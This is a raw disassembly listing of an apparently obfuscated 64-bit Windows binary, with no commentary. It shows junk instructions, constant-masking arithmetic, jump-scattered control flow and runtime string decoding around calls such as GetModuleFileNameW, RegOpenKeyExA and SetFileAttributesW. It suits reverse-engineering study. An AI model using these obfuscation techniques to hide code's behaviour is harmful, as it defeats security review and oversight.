movdqa xmm0, xmmword [0x14010c310]
movdqa xmmword [rsp + 0x30], xmm0
mov dword [rsp - 0x30], 0x5f792619
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x30]
nop dword [rax]
jmp 0x14000d89b
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x30], esi
pshufd xmm2, xmm1, 0xd8
jmp 0x14000ccfe
sub eax, 0x122971cc
add eax, 0xf0308e9
xor eax, 0x7f58a204
sub eax, 0x26de4897
add eax, 0x35b8854a
xor eax, 0x6e8a7376
jmp 0x14000d292
xor eax, 0x6beda779
sub ax, dx
xchg r10, r10
movzx eax, ax
jmp 0x14000d717
sub r9d, 0x42aa45b
add r9d, 0x18a411c3
sub r9d, 0x32d27b87
add r9d, 0x2990cf34
sub r9d, 0x29ee8711
sub r9d, 0x197273aa
jmp 0x14000da32
lea rax, [rbp + 0x20]
xchg rdi, r14
mov r8, r14
xchg r14, rdi
inc r8
mov dword [rsp - 0x44], 0x2074a2c0
jmp 0x14000dd0b
add edx, 0x42fb5166
xor edx, 0x67ad10a6
add edx, 0x7a0b19f
sub edx, 0x15a6c3e8
xor edx, 0x6f43211c
jmp 0x14000d06a
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
mov r12, r12
xor word [rsp + 0x36], 0x35
jmp 0x14000ca9c
call fcn.1400df580
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
mov r8d, 0x44745763
jmp 0x14000db29
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14010c2e0]
mov dword [rsp - 0x30], 0x77f29dd9
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x14000cf01
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
xchg r14, r14
movd xmm0, dword [rcx]
jmp 0x14000d27d
nop
mov r11, r11
mov eax, 0x240c5b65
add eax, 0xa08d0ce
jmp 0x14000ced6
movaps xmm8, xmmword [r9 - 0x30]
xchg r9, r11
xchg r10, r11
movaps xmm9, xmmword [r10 - 0x40]
xchg r10, r11
mov rsp, r11
jmp 0x14000d539
add eax, 0x2d0d30f5
xor eax, 0x16de9ce7
xor eax, 0x5072c8f9
jmp 0x14000d6a8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
mov dword [rsp - 0x40], edi
movq xmm2, xmm8
paddw xmm3, xmm2
jmp 0x14000d04b
jl 0x14000d1e5
mov dword [rsp - 0xc], esi
lea rcx, [rsp + 0x70]
call fcn.1400a1310
mov rcx, qword [rbp - 0x50]
mov rsi, rsi
jmp 0x14000c846
lea r11, [rsp + 0xcc0]
xchg rbx, rbx
mov rbx, qword [r11 + 0x20]
xchg rsi, rcx
jmp 0x14000de48
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
xchg rbp, rbp
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14000d54a
add r8d, 0x355834a
xor r8d, 0x7d0631ea
mov eax, r8d
mov dword [rsp - 0x3c], esi
jmp 0x14000d58f
movabs rdi, 0xffffffff7e60c88a
sub rdi, 0x6e9e16d4
xor rdi, 0x7338d98c
sub rdi, 0x787930c1
jmp 0x14000d61a
xchg r10, r10
mov dword [rsp + 0x28], 0x61131c44
add dword [rsp + 0x28], 0x1e72b38f
sub dword [rsp + 0x28], 0x166c87ee
sub dword [rsp + 0x28], 0x515c155
sub dword [rsp + 0x28], 0x12e492b3
sub dword [rsp + 0x28], 0x15acdd21
jmp 0x14000c91a
imul ecx
mov dword [rsp - 0x18], edx
sar edx, 4
mov eax, edx
shr eax, 4
jmp 0x14000d83d
movq xmm0, qword [rsp + 0x38]
pxor xmm3, xmm0
mov dword [rsp - 0x18], esi
movq qword [rsp + 0x38], xmm3
mov r8d, 0x3a96c675
jmp 0x14000d6bc
sub edx, 0x7bfd1b8e
xor edx, 0x31ff3f4e
xor edx, 0x323f35b6
mov r9d, 0x6b2edcc8
jmp 0x14000cd94
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
xchg rdi, rdi
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
jmp 0x14000db51
xor eax, 0x67d9e725
xor eax, 0x2d4b551f
sub al, dl
movsx eax, al
mov dword [rsp - 0xc], 0x128d5365
jmp 0x14000c963
imul r8d
sar edx, 3
sar edx, 1
mov eax, edx
shr eax, 0xa
shr eax, 0x12
jmp 0x14000d7d6
movaps xmm6, xmmword [r13 - 0x10]
xchg r11, r13
movaps xmm7, xmmword [r11 - 0x20]
xchg r9, r11
jmp 0x14000cebb
pmulld xmm0, xmm7
mov dword [rsp - 0xc], edx
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14000cad7
movsd qword [rbp - 0x70], xmm0
mov dword [rsp - 0xc], 0x517b9298
mov eax, dword [0x14010be88]
mov dword [rbp - 0x68], eax
jmp 0x14000cc28
add edx, 0x3b232071
sub edx, 0x4b488a18
xor edx, 0x3e5fd988
sub edx, 0x2a2f269e
lea rcx, [rbp + 0x750]
mov rcx, rcx
call fcn.14000e570
jmp 0x14000d84a
movdqa xmm0, xmm1
xchg r13, r13
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov r11, r11
jmp 0x14000d087
pmuldq xmm0, xmm4
xchg rbx, rbx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x1c], 0x147d0141
psrld xmm0, xmm5
jmp 0x14000db06
xchg r14, r14
xor edx, edx
mov r8d, 0x3d54bd67
add r8d, 0x140e8a0c
sub r8d, 0x2819c08c
jmp 0x14000ddbb
mov eax, 0x6a6696ce
sub eax, 0x3d9e3d
sub eax, 0x454a19ba
xor eax, 0x4bf61162
sub eax, 0x37a7ca60
jmp 0x14000caf9
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010c320]
movd xmm6, r15d
xchg rsp, rsp
movdqa xmm7, xmmword [0x14010c2e0]
jmp 0x14000cd16
add cx, r8w
mov dword [rsp - 0xc], edi
xor word [r9], cx
jmp 0x14000cb30
mov dword [rsp - 0x14], ecx
lea r8, [rsp + 0x70]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x5b67199e
xor eax, 0x390ced85
sub eax, 0x3f0ade4e
jmp 0x14000dcba
xchg rdi, rax
mov qword [rsp + 0x20], rdi
xchg rdi, rax
mov r9d, 0x5af18c47
sub r9d, 0x2a119df
jmp 0x14000dbf8
pxor xmm2, xmm0
movd dword [rcx], xmm2
nop
add r8d, 0x79d31ddf
jmp 0x14000da88
add eax, 0x4378197d
xor eax, 0x45909b4a
sub al, dl
movsx eax, al
jmp 0x14000c8b9
xor r8d, r8d
mov dword [rsp - 0x40], 0x581fd618
lea rdx, [rsp + 0x70]
nop
movabs rcx, 0xffffffff4268a4e8
add rcx, 0x24c46e05
jmp 0x14000ca40
add qword [rsp + 0x68], 0x1869f4df
xor qword [rsp + 0x68], 0x21efca56
mov word [rsp + 0x50], bx
jmp 0x14000d000
xchg rcx, r9
mov r9, qword [rsp + 0x50]
xchg rcx, r9
xchg rcx, rsp
mov rax, rsp
xchg rsp, rcx
jmp 0x14000d6fa
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x330]
call qword [sym.imp.SHLWAPI.dll_PathCanonicalizeW]
mov dword [rsp - 0x1c], 0x50baecbd
jmp 0x14000d423
cmp word [0x14010bea6], bx
je 0x14000dd6c
mov dword [rsp - 0xc], 0x4a92038
mov r8d, ebx
cmp esi, 2
jl 0x14000cfd0
jmp 0x14000dd30
nop
add rsp, 8
mov rbp, qword [rsp - 8]
ret
mov rbp, rbp
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
mov dword [rsp - 0x28], 0x294bb7db
punpckhdq xmm0, xmm2
jmp 0x14000ccec
nop dword [rax]
nop word [rax + rax]
xchg rcx, rcx
mov eax, 0x2c693966
jmp 0x14000d9a9
lea eax, [rcx + 4]
movd xmm3, eax
xchg r9, r9
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
jmp 0x14000cac2
movsxd rax, ebx
jmp 0x14000d239
add rcx, 0x2ea7eea9
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000c94f
jmp 0x14000d1c7
mov r10, r10
mov word [rbp + rcx + 0x960], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x14000d435
mov dword [rsp - 0x20], edi
mov edx, 0xce3b9f6
jmp 0x14000d7f6
xchg rsi, rbx
mov rcx, rsi
xchg rbx, rsi
nop word [rax + rax]
movzx eax, word [rbp + rcx + 0x330]
jmp 0x14000d3fd
mov r8d, 0x4aa73e87
add r8d, 0x17d0d9c3
xor r8d, 0x41f701d4
add r8d, 0x2d65f073
sub r8d, 0x1d15d930
sub r8d, 0x3a4fa46
jmp 0x14000cc88
mov dword [rsp - 0x38], ebx
jl 0x14000c893
cmp ecx, 0x2e
jmp 0x14000de2a
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
xchg r11, r11
jmp 0x14000daae
pshufd xmm3, xmm1, 0xd8
xchg r11, r11
movq xmm2, xmm8
paddw xmm3, xmm2
jmp 0x14000dc98
movups xmmword [r12 - 0x30], xmm0
xchg rbp, r12
xchg rdi, rbp
movups xmmword [rdi - 0x20], xmm0
jmp 0x14000d938
mov eax, 0x5257106
xor eax, 0x197352f4
add eax, 0x42ebc131
sub eax, 0x322a1918
jmp 0x14000c900
xor eax, 0x519d9723
xor eax, 0x3dc93792
sub eax, 0x61e39707
mov rcx, qword [rbp + 0xb70]
mov r10, r10
xor rcx, rsp
call fcn.1400dce30
jmp 0x14000cf70
xor r8d, 0x3314de62
lea rdx, [rbp + 0x540]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rsp - 0x18], edx
xor edx, edx
mov r8d, 0x5d64b804
sub r8d, 0x5bd8dc2a
jmp 0x14000d86c
pop r15
nop
add rsp, 8
mov r14, qword [rsp - 8]
jmp 0x14000d349
pmulld xmm0, xmm7
xchg rsi, rsi
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14000c9bf
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010c320]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14010c2e0]
mov r9, r9
movd xmm8, r12d
jmp 0x14000de0d
lea r9, [rsp + 0x30]
lea r9, [r9 + rax*2]
nop word [rax + rax]
jmp 0x14000d4ce
inc r8d
mov dword [rsp - 0x44], edx
lea r10, [r10 + 1]
cmp r8d, 0x21
jl 0x14000d38a
mov r9d, r14d
xchg r14, r14
jmp 0x14000d8b5
mov dword [rsp - 0x40], 0x156691fe
mov dword [rbp - 0x68], eax
cmp esi, 2
jl 0x14000d3db
jmp 0x14000d67b
add rdi, 0x342c0244
add rdi, 0x2c2addc6
add rdi, 0x7fffffff
add rdi, 0x1b27e87d
xchg rdi, r8
mov rdi, r8
xchg r8, rdi
jmp 0x14000ccce
psrad xmm1, xmm6
mov dword [rsp - 0x18], 0x186bff5
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14000d102
mov r8d, ebx
cmp esi, 2
mov dword [rsp - 0x38], 0x7cfa1552
jl 0x14000dc77
jmp 0x14000d203
movdqa xmm5, xmmword [0x14010c2c0]
mov r11, r11
movdqa xmm4, xmmword [0x14010c320]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14010c2e0]
movd xmm8, r12d
mov r12, r12
jmp 0x14000d954
add eax, 0x4a05fdef
xor eax, 0xb3207ac
xor eax, 0x3d4d8596
jmp 0x14000d038
xor r8d, 0x62517680
sub r8d, 0x1591370d
xor r8d, 0x20fb5e0d
xor r8d, 0x1a7d897d
jmp 0x14000cfc2
cmp rdx, 0x1000
mov r15, r15
jb 0x14000cc48
nop
add rdx, 0x81d60c
jmp 0x14000c8ce
imul ecx, eax, 0x32
add cx, r8w
xor word [r9], cx
mov dword [rsp - 0x28], ecx
jmp 0x14000ca30
xchg rcx, rsp
movzx eax, word [0x14010bed8]
mov ecx, 0x2f6843d1
jmp 0x14000cbbb
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
jmp 0x14000ccbd
lea rcx, [rbp + 0x330]
xchg rbp, rbp
call fcn.1400df580
jmp 0x14000d302
lea r8, [rsp + 0x30]
mov edx, 0x73098a4a
xor edx, 0xd28f842
sub edx, 0x106f6352
sub edx, 0x491ba6e5
jmp 0x14000d139
inc ecx
lea r8, [r8 + 1]
mov r11, r11
cmp ecx, 0x2e
jl 0x14000ceac
lea rax, [rbp - 0x50]
jmp 0x14000d262
sub edx, 0x7d98c9bd
lea rcx, [rbp + 0x330]
mov dword [rsp - 0x10], 0x27b7c9a1
call fcn.1400ddff8
mov word [rax + 2], bx
xor edx, edx
jmp 0x14000d442
shr eax, 2
shr eax, 1
add edx, eax
mov eax, 0x565b1c52
sub eax, 0xac389ed
add eax, 0x7e8e1f8
sub eax, 0x8edc222
jmp 0x14000d0ae
add edx, 0x5ecd6d59
sub edx, 0x5320848d
xor edx, 0x65f94a92
sub edx, 0x30ff2017
add edx, 0x193040a9
xor edx, 0x5af664f6
add edx, 0x3e2b5e05
jmp 0x14000d7b1
shr eax, 0xc
shr eax, 0xd
shr eax, 1
jmp 0x14000cab4
movups xmm0, xmmword [str.bA__BRJtUUUIQM]
xchg r12, rsp
movups xmmword [r12 + 0x70], xmm0
xchg r12, rsp
movups xmm1, xmmword [0x14010bef0]
mov rcx, rcx
jmp 0x14000dd8c
add r8d, 0x74c5aa61
sub r8d, 0x28e99282
sub r8d, 0x35f1a6f0
add r8d, 0x643dc39d
sub r8d, 0x79a42ae5
sub r8d, 0x20fe379
jmp 0x14000d761
mov dword [rsp - 0x28], esp
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
mov rbp, rbp
jmp 0x14000c89c
lea r8, [rbp + 0x960]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x20]
xchg r15, r15
call fcn.14000e3f0
jmp 0x14000cdc3
mov r8, r8
movdqa xmm0, xmm1
psrld xmm0, xmm5
jmp 0x14000ce3c
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x2c], esi
psrad xmm1, xmm6
jmp 0x14000cc69
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
jmp 0x14000da67
xchg rbp, rdi
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp - 0x1c], esp
xchg r9, rbp
movups xmmword [r9], xmm0
xchg rbp, r9
xchg r9, rax
jmp 0x14000c9d9
movups xmmword [rbx - 0x80], xmm1
xchg rbp, rbx
movsd xmm0, qword [0x14010be80]
jmp 0x14000d11e
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
mov dword [rsp - 0x40], 0x5820a49f
neg ecx
add ecx, 0xfffffff8
jmp 0x14000c8f2
sub eax, 0x14cdc9d9
xor eax, 0x27ebbf9d
xor eax, 0x2492b1ca
jmp 0x14000ca6c
add qword [rsp + 0x68], 0x1362d589
xor qword [rsp + 0x68], 0x24476fbb
sub qword [rsp + 0x68], 0x13e373db
xor qword [rsp + 0x68], 0x56b2996a
sub qword [rsp + 0x68], 0x6b6e01d6
mov word [rsp + 0x50], bx
jmp 0x14000c81b
add r9d, 0x2eae0adf
sub r9d, 0x61b3adff
lea r8d, [r9 + 0x7e]
jmp 0x14000cbd8
mov dword [rsp - 0x2c], edi
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
xchg r9, r9
movdqa xmm1, xmm3
jmp 0x14000d74f
sub r8d, 0x79d31dd7
lea rcx, [rcx + 8]
cmp r8d, 0x20
mov dword [rsp - 0x38], 0xc16fb79
jl 0x14000d89f
cmp r8d, 0x21
jmp 0x14000dc71
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
mov dword [rsp - 0x44], 0x329d4caf
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x14000d165
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [rsp - 0x30], ebx
movsd xmm0, qword [0x14010bed0]
xchg rsp, rcx
movsd qword [rcx + 0x30], xmm0
jmp 0x14000d72b
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14010c2e0]
mov r13, r13
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14000d492
add r8d, 0x294031ba
xor r8d, 0x702edf7d
add r8d, 0x365f08c2
add r8d, 0x8e55f8b
xor r8d, 0x6fca61cb
jmp 0x14000d50d
xchg r13, r13
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
mov dword [rsp - 0x38], 0x34408c76
movd dword [rdx - 4], xmm2
jmp 0x14000d394
add edx, 0x2ae60cce
xor edx, 0x294e9b57
xor edx, 0x18102d79
xor edx, 0x7b054d8a
add edx, 0x97d63a5
xor edx, 0x3e19aaaa
lea rcx, [rbp + 0x120]
jmp 0x14000dad5
call fcn.1400a19e0
mov dword [rsp - 0x14], 0x2497ec85
mov edx, 0x5fcc88be
sub edx, 0x54c90e3d
xor edx, 0x58e2d558
jmp 0x14000db78
xor eax, 0x29de69a8
sub eax, 0x37a10e7
add eax, 0x1ba2cd14
add eax, 0x412d136
jmp 0x14000cd81
mov eax, 0x6987ebc
add eax, 0x540dac33
add eax, 0xbc648ce
jmp 0x14000dbcb
add r9d, 0x8324f05
sub r9d, 0x2c9a3d5a
add r9d, 0x3aec200d
add r9d, 0x231cfe2
xor r9d, 0x7109743d
jmp 0x14000d2a6
test eax, eax
js 0x14000dea5
mov dword [rsp - 0x40], ebp
movups xmm0, xmmword [0x14010bea8]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14010beb8]
mov r11, r11
jmp 0x14000ca80
mov dword [rsp - 0x34], 0x23531d20
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
jmp 0x14000d482
mov ecx, ebx
cmp esi, 2
jl 0x14000de30
mov dword [rsp - 0x34], edi
jmp 0x14000d565
jge 0x14000d5b8
movsxd rax, r8d
xchg r12, r12
lea r10, [rsp + 0x70]
add r10, rax
jmp 0x14000d379
movq xmm0, qword [0x14010be90]
xchg rdx, rdx
pxor xmm3, xmm0
movq qword [rsp + 0x30], xmm3
movdqa xmm2, xmmword [0x14010c2d0]
jmp 0x14000d354
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [str.XZH]
xchg r11, rsp
movsd qword [r11 + 0x40], xmm1
xchg r11, rsp
jmp 0x14000d323
cmp byte [rax + r8], 0
jne 0x14000cdd0
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x40]
mov dword [rsp - 0x18], esp
call fcn.1400a2560
lea rcx, [rbp - 0x40]
jmp 0x14000dba8
mov r14, r14
movdqa xmm4, xmmword [0x14010c320]
movd xmm6, r15d
movd xmm5, r12d
movdqa xmm8, xmmword [0x14010c2f0]
mov dword [rsp - 0x10], 0x40f0abe8
jmp 0x14000cc02
lea r8, [rbp + 0x330]
lea rdx, [rsp + 0x30]
mov dword [rsp - 0x10], 0x59dd660a
lea rcx, [rbp + 0x120]
jmp 0x14000cbe9
xchg rbp, rdx
movups xmmword [rdx - 0x80], xmm1
xchg rbp, rdx
jmp 0x14000cb4e
xor qword [rsp + 0x68], 0x6cb7e84c
sub qword [rsp + 0x68], 0x234c40b
sub qword [rsp + 0x68], 0x2b8cabbc
jmp 0x14000d2cd
sub r8d, 0x10999e9e
add r8d, 0xd367721
add r8d, 0x351722b4
sub r8d, 0x5afd8016
lea rcx, [rbp + 0x540]
mov dword [rsp - 0x28], 0x42b474cd
jmp 0x14000ce1d
shr eax, 1
add edx, eax
mov eax, 0x2ac31e5d
xor eax, 0x16952c8b
add eax, 0x2ad62ae0
xor eax, 0x6cf5a5a1
xor eax, 0x32dd46e1
jmp 0x14000cb71
movdqa xmm0, xmmword [0x14010c310]
xchg rbx, rsp
movdqa xmmword [rbx + 0x30], xmm0
xchg rsp, rbx
lea rdx, [rsp + 0x74]
jmp 0x14000c885
jge 0x14000d7a8
movsxd rax, ecx
mov dword [rsp - 0x34], 0x2bf2b0ec
lea r8, [rsp + 0x70]
add r8, rax
jmp 0x14000cea8
mov rcx, qword [r11 + 0x28]
xchg rsi, rcx
xchg rdi, rbx
mov rbx, qword [r11 + 0x30]
xchg rdi, rbx
mov r12, qword [r11 + 0x38]
xchg r13, r11
jmp 0x14000d0ed
sub ecx, 0xe698c83
xor ecx, 0x167da816
sub ecx, 0x2c1e020c
xor ecx, 0x3ac0fce
mov word [rsp + 0x30], cx
jmp 0x14000ce03
lea rcx, [rbp - 0x40]
call fcn.1400a18f0
xor eax, eax
xchg r13, r13
jmp 0x14000deb8
jmp 0x14000d4f6
call fcn.1400e39cc
nop
int3